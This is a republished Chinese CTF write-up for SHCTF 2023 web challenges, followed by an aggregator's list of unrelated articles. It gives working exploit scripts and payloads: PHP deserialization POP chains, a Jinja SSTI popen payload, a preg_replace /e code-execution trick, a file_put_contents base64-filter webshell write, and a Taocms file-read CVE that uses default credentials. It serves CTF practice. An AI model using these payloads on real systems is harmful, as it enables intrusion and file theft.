SHCTF 2023 新生赛 Web 题解

news2024/11/20 13:20:59

Web

[WEEK1]babyRCE

源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag

[WEEK1]飞机大战

源码js发现unicode编码

\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a

解码获得flag

[WEEK1]登录就给flag

这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag

[WEEK1]生成你的邀请函吧~

使用POST json请求来生成你的邀请函

直接用脚本就行了

import requests

from PIL import Image

import io



url = "http://112.6.51.212:30908/generate_invitation"



data = {

   "name": "C_yi",

   "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"

}



response = requests.post(url, json=data, verify=False)



# 获取返回的图片内容

image_content = response.content



# 创建一个PIL的Image对象

image = Image.open(io.BytesIO(image_content))



# 保存图片

image.save("avatar.jpg")

然后搜索avatar.jpg

得到flag

[WEEK1]ez_serialize

<?php

highlight_file(__FILE__);



class A{

  public $var_1;

  

  public function __invoke(){

   include($this->var_1);

  }

}



class B{

  public $q;

  public function __wakeup()

{

  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {

            echo "hacker";           

        }

}



}

class C{

  public $var;

  public $z;

    public function __toString(){

        return $this->z->var;

    }

}



class D{

  public $p;

    public function __get($key){

        $function = $this->p;

        return $function();

    }  

}



if(isset($_GET['payload']))

{

    unserialize($_GET['payload']);

}

?>

代码审计

我们反推把 首先看输出点为include()函数

那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)

要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var

想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个

Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发

所以构造最终的代码

<?php

class A{

  public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';



}



class B{

  public $q;





}

class C{

  public $var;

  public $z;



}



class D{

  public $p;



}

$b = new B();

$c = new C();

$b->q = $c;

$d = new D();

$c->z = $d;

$d->p = new A();

var_dump(serialize($b))

?>

Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

然后base64解码就得到falg了

[WEEK1]1zzphp

这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了

所以也没啥难的 按照下面这个自己调试就饿可以了

我的是

import requests

url="http://112.6.51.212:32191/?num[]=1"

data={

'c[ode':'very'*250000+'2023SHCTF'

}

r=requests.post(url,data=data)

print(r.text)

 

[WEEK1]ezphp

这道题的考点就是研究preg_replace \e模式下的代码执行

可以看这篇文章

深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客

深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客

因为这道题的phpinfo()和大括号没被过滤

所以可以利用

题目就是通过get传参code post传参pattern 关键就是下面这句话

preg_replace 使用了 /e 模式,导致了代码可以被执行

那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern  code传入

原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);

变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});

所以得到flag了

[WEEK2]no_wake_up

又是一道简单的反序列化题

Exp:

<?php



class flag{

    public $username = "admin";

    public $code = "php://filter/read=convert.base64-encode/resource=flag.php";





}

$a = new flag();

echo serialize($a);

Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}

 

解码获得flag

[WEEK2]EasyCMS

考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取

需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag

[WEEK2]ez_ssti

有点像ctfshow 里面的web361

?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

发现flag

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

 

[WEEK2]serialize

这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久

js代码:

var arr = ["o123:", "c456:", "d789:"];

arr = arr.filter(function(element) {

  return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素

});

console.log(arr); // 输出: ["d789:"]

 

Pop链比较简单:wakeup()->get()->totring()

构造代码

<?php



class misca{

    public $gao;

    public $fei;

    public $a;





}

class musca{

    public $ding;

    public $dong;



}

class milaoshu{

    public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取



}



$m = new musca();

$m->ding = new misca(); //这个就是触发get魔术方法

$m->ding->gao = &$m->ding->a; //把gao赋值给a

$m->ding->fei = new milaoshu(); //触发tostring魔术方法

echo serialize(array($m)); //利用数组进行绕过正则匹配

Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}

 

解码获得flag

[week3]快问快答

这种短时间内回答的题一看就是要脚本

根据源码写paylaod就行

import requests
import re
import time
def post_answer(url, headers, answer, cookie):#发送请求
   answer1 = {'answer': answer}
   response=requests.Session()
   response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的
   return response

def parse_question(response):#用于计算答案
   html = response.text
   answer=0
   pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息
   match = pattern.search(html)
   if match:
       question = match.group(1)
       numbers = re.findall(r"\d+", question)
       operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符
       op=operation[0]
       if len(numbers) == 2:
           a = int(numbers[0])
           b = int(numbers[1])
           if op == "异或":
               answer = a ^ b
           if op == "与":
               answer = a & b
           if op == "-":
               answer = a - b
           if op == "+":
               answer = a + b
           if op == "x":
               answer = a * b
           if op == "÷":
               answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误
           #print(question)
           #print(answer)
   else:
           print("找不到题目")
   return answer

url = "http://112.6.51.212:32776/"  # 这里替换为你要访问的网址
headers = {"Content-Type": "application/x-www-form-urlencoded"}
cookie=0
answer = 0
for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的
       time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间
       response = post_answer(url, headers, answer, cookie)
       print(response.text)#打印表单
       answer = parse_question(response)
       cookie = response.cookies

得到flag

[WEEK3]sseerriiaalliizzee

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 
no way, fuck off

出口函数 file_put_contents很简单的pop链 Start:__tostring()->CTF:dosomething()

考点就是无非是file_put_contents()

大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个

里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功

那这里的考点就是file_put_contents利用技巧

具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)

我们直接构造paylaod:

<?php eval('system("ls /");');  ?> 然后base64编码(?前面不加空格 就会编码变成+号)

PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==

然后

构造脚本

<?php
class Start{
    public $barking;
}

class CTF{
    public $part1;
    public $part2;
}
$start=new Start();
$start->barking=new CTF();
$start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
$start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
//因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
//然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flag

echo serialize($start);
?>

同理换成 cat /flag

Paylaod:

O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1149612.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ElasticSearch 高级查询语法Query DSL实战

ES高级查询Query DSL ES中提供了一种强大的检索数据方式&#xff0c;这种检索方式称之为Query DSL&#xff08;Domain Specified Language 领域专用语言&#xff09; , Query DSL是利用Rest API传递JSON格式的请求体(RequestBody)数据与ES进行交互&#xff0c;这种方式的丰富查…

chorme安装esay scholar及chrome 无法从该网站添加应用、扩展程序和用户脚本解决方案

问题描述 如题&#xff0c;博主想安装easy scholar用于查询论文的分区&#xff0c;结果安装了半天一直出现chrome 无法从该网站添加应用、扩展程序和用户脚本解决方案的问题。 解决方案 先从这个网址下载&#xff1a;https://www.easyscholar.cc/download 然后对下载好的文…

一文详解防御DDoS攻击的几大有效办法

伴随互联网的飞速发展&#xff0c;网络安全问题变得越来越突出&#xff0c;其中最常见的就是DDoS攻击&#xff0c;也就是分布式拒绝服务攻击。DDoS攻击者利用计算机或其他设备的协作&#xff0c;以发送大量请求的方式导致目标超负荷&#xff0c;导致不能正常运转或“宕机”。以…

python:使用Scikit-image对遥感影像进行形态学轮廓特征提取(contour)

作者:CSDN @ _养乐多_ 在本博客中,我们将介绍如何使用Scikit-Image来进行形态学轮廓特征提取(contour),并且提供一个示例代码,演示了如何在单波段遥感图像上应用这些方法。 形态学轮廓特征提取是一种用于图像处理和分析的技术,旨在检测和描述图像中的对象的边界或外围…

rem设置 vscode设置rem 适配 px转rem

1、下载安装 2、 二、 如果代码里面设置 就按代码里面来 -- 20 代码: // 基准大小 const baseSize 20 // 设置 rem 函数 function setRem() {// 当前页面宽度相对于 750 宽的缩放比例&#xff0c;可根据自己需要修改。const scale document.documentElement.clientWidth / …

联合分析专题--解密多组学联合分析在中药方向的研究思路

研究必要性 中药主要由植物药&#xff08;根、茎、叶、果&#xff09;、动物药&#xff08;内脏、皮、骨、器官等&#xff09;和矿物药组成。因植物药占中药的大多数&#xff0c;所以中药也称中草药。中药基因组学的理解&#xff0c;侧重于中药本身&#xff0c;主要包括中药转…

SOP8封装 NV080C芯片在智能洗碗机的应用

根据天猫研究所的数据显示&#xff0c;精致和智能&#xff0c;已成为当代年轻人居家生活消费新趋势。随着人均收入的增长&#xff0c;伴随着年轻人越来越追求生活的仪式感、精致感&#xff0c;新兴的智能家居产品已慢慢成为年轻人居家必备的“刚需”。洗碗机、智能马桶等产品受…

2016 款北京现代悦纳车换挡冲击、加速无力

一、故障现象 一辆2016款北京现代悦纳车&#xff0c;搭载G4LC发动机和A6GF1-2自动变速器&#xff0c;累计行驶里程约为17.9万km。车主反映&#xff0c;从P挡切换到R挡或D挡时&#xff0c;存在换挡冲击&#xff0c;行驶中加速无力&#xff0c;且发动机故障灯异常点亮&#xff08…

git教程(2)---远程仓库操作

git教程---远程仓库 远程操作创建远程仓库克隆远程仓库HTTPSSSH 向远程仓库推送拉取远程仓库.gitignore文件给git指令起别名IssuesPull Requests 标签管理操作标签推送标签 多人协作场景一场景二 开发模型Git分支设计规范使用Gitee的DevOps平台体验项目开发流程 远程操作 创建…

Access 数据源配置

将数据文件mdb下载到本地电脑&#xff1b;建议不要放在有中文名的路径下打开>控制面板>所有控制面板项>管理工具>ODBC数据源(32位&#xff09;进行数据源配置 用户DNS>添加>选择 Driver do Microsoft Access(*.mdb)项 对话框填写数据源名为 “bookdb” 选择m…

一文了解Elasticsearch

数据分类 数据按数据结构分类主要有三种&#xff1a;结构化数据、半结构化数据和非结构化数据。 结构化数据 结构化数据具有明确定义数据模型和格式的数据类型。 特点&#xff1a; 数据具有固定的结构和模式。 数据项明确定义数据类型和长度。 适合用于数据查询、过滤和分…

winserver

Windows server 的安装&#xff1a; 密钥网上可搜索 一个密钥可以多人使用 设置软盘 的启动时连接 配置网络: 需要设置一个静态IP地址&#xff1a; 活动目录的安装&#xff1a; 安装完成 进行初始化配置 才可以打开活动目录的服务 将服务器提升为域服务器 公司要求的根域名…

百川智能发布大模型Baichuan2-192K,一次可输入35万字超越Claude2

10月30日&#xff0c;百川智能发布Baichuan2-192K大模型。其上下文窗口长度高达192K&#xff0c;是目前全球最长的上下文窗口。Baichuan2-192K能够处理约35万个汉字&#xff0c;是目前支持长上下文窗口最优秀大模型Claude2&#xff08;支持100K上下文窗口&#xff0c;实测约8万…

iZotope RX 10(音频修复和增强工具)

iZotope RX 10是一款音频修复和增强软件&#xff0c;主要特点包括&#xff1a; 声音修复&#xff1a;iZotope RX 10可以去除不良噪音、杂音、吱吱声等&#xff0c;使音频变得更加清晰干净。音频增强&#xff1a;iZotope RX 10支持对音频进行音量调节、均衡器、压缩器、限制器等…

微信小程序的育儿早教知识科普交流系统

本毕业设计的内容是设计并且实现一个基于微信小程序的育儿科普系统。采用MYSQL为数据库开发平台&#xff0c;SSM框架&#xff0c;育儿科普系统的功能已基本实现&#xff0c;主要用户、启蒙早教、早教类型、课程类型、育儿课程、注意事项、交流会、交流会报名等。 针对育儿科普…

电动汽车常说的CTP/CTB/CTC技术都有什么玄机?

“没有新词汇&#xff0c;不叫发布会”。随着电动汽车行业的迅速发展&#xff0c;许多专业到让人不明觉厉的“新词汇”也开始频频跃入大众视野。比如车企们在介绍电池时常说的CTP&#xff0c;CTB和CTC&#xff0c;就让人感到一头雾水。 它们究竟是什么&#xff1f;有什么作用&…

算法笔记【2】-SVD奇异分解及在最小二乘求解上的应用

文章目录 一、什么是SVD分解二、SVD分解的步骤三、SVD分解的应用领域四、用SVD求解最小二乘表达式 一、什么是SVD分解 奇异值分解&#xff08;Singular Value Decomposition&#xff0c;简称SVD&#xff09;是一种重要的矩阵分解技术。它可以将一个矩阵分解为三个矩阵的乘积&a…

高斯过程回归 | 高斯过程回归(Python)

高斯过程(Gaussian Processes,GP)是一种强大的非参数化模型,通常用于回归和分类任务。 它允许我们以一种灵活的方式建模数据的不确定性,并在小样本情况下表现出色。 高斯过程是一种用于建模函数的分布的非参数方法。 在高斯过程回归中,咱们试图建立一个连续的随机函数,…

光学仿真|优化汽车内部照明体验

当我们谈论优化人类感知的内部照明时&#xff0c;我们实际上指的是两个重点领域&#xff1a;安全性和驾驶员体验。如果内部照明可以提供尽可能最佳的体验&#xff0c;驾驶员则能够更好地应对颇具挑战性或意外的驾驶状况&#xff0c;并且减轻疲劳感。除了功能优势外&#xff0c;…

做外贸的你是不是也怕遇到麻烦的客户

最近遇到两个客户&#xff0c;可以说还未开始真正的沟通&#xff0c;就已经心里开始打怵&#xff0c;打怵的原因也无非是各种理由上的不匹配。 当我们觉得一件事情不可能做成的时候&#xff0c;那么不能做成的原因就会不断的涌现出来&#xff0c;进而会让我们自己在谈判的时候…